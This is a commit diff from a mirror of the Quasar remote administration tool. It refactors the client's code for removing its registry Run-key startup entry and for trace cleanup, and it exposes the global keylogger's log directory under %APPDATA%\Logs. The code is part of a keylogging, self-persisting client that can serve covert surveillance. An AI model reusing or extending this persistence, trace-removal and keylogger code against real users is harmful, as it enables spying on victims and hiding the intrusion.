mirror of
https://github.com/quasar/Quasar.git
synced 2026-10-21 07:55:54 +08:00
Fixed #297
This commit is contained in:
+60
-55
@@ -14,6 +14,7 @@ using xClient.Core.Encryption;
|
||||
using xClient.Core.Extensions;
|
||||
using xClient.Core.Helper;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Utilities;
|
||||
using xClient.Enums;
|
||||
|
||||
namespace xClient.Core
|
||||
@@ -404,6 +405,62 @@ namespace xClient.Core
|
||||
}
|
||||
}
|
||||
|
||||
public static void RemoveFromStartup()
|
||||
{
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
if (AccountType == "Admin")
|
||||
{
|
||||
try
|
||||
{
|
||||
using (
|
||||
RegistryKey key =
|
||||
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, false);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// try deleting from Registry.CurrentUser
|
||||
using (
|
||||
RegistryKey key =
|
||||
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, false);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
using (
|
||||
RegistryKey key =
|
||||
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, false);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void Install(bool addToStartup = true)
|
||||
{
|
||||
bool isKilled = false;
|
||||
@@ -523,65 +580,13 @@ namespace xClient.Core
|
||||
|
||||
public static void RemoveTraces()
|
||||
{
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
if (AccountType == "Admin")
|
||||
{
|
||||
try
|
||||
{
|
||||
using (
|
||||
RegistryKey key =
|
||||
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, true);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// try deleting from Registry.CurrentUser
|
||||
using (
|
||||
RegistryKey key =
|
||||
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, true);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
using (
|
||||
RegistryKey key =
|
||||
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
key.DeleteValue(Settings.STARTUPKEY, true);
|
||||
key.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
RemoveFromStartup();
|
||||
|
||||
string logsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
||||
if (Directory.Exists(logsDirectory)) // try to delete Logs from Keylogger
|
||||
if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.Delete(logsDirectory, true);
|
||||
Directory.Delete(Keylogger.LogDirectory, true);
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
@@ -14,9 +14,6 @@ namespace xClient.Core.Utilities
|
||||
/// This class provides keylogging functionality and modifies/highlights the output for
|
||||
/// better user experience.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// The log files will be written to the log directory which is located under '%APPDATA%\Logs\'.
|
||||
/// </remarks>
|
||||
public class Keylogger : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
@@ -29,7 +26,11 @@ namespace xClient.Core.Utilities
|
||||
/// </summary>
|
||||
public bool IsDisposed { get; private set; }
|
||||
|
||||
private readonly string _logDirectory;
|
||||
/// <summary>
|
||||
/// The directory where the log files will be saved.
|
||||
/// </summary>
|
||||
public static string LogDirectory { get { return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; } }
|
||||
|
||||
private readonly Timer _timerFlush;
|
||||
private StringBuilder _logFileBuffer;
|
||||
private List<Keys> _pressedKeys = new List<Keys>();
|
||||
@@ -46,7 +47,6 @@ namespace xClient.Core.Utilities
|
||||
{
|
||||
Instance = this;
|
||||
_lastWindowTitle = string.Empty;
|
||||
_logDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
||||
_logFileBuffer = new StringBuilder();
|
||||
|
||||
Subscribe(Hook.GlobalEvents());
|
||||
@@ -244,12 +244,12 @@ namespace xClient.Core.Utilities
|
||||
{
|
||||
bool writeHeader = false;
|
||||
|
||||
string fileName = _logDirectory + DateTime.Now.ToString("MM-dd-yyyy");
|
||||
string fileName = LogDirectory + DateTime.Now.ToString("MM-dd-yyyy");
|
||||
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(_logDirectory))
|
||||
Directory.CreateDirectory(_logDirectory);
|
||||
if (!Directory.Exists(LogDirectory))
|
||||
Directory.CreateDirectory(LogDirectory);
|
||||
|
||||
if (!File.Exists(fileName))
|
||||
writeHeader = true;
|
||||
|
||||
Reference in New Issue
Block a user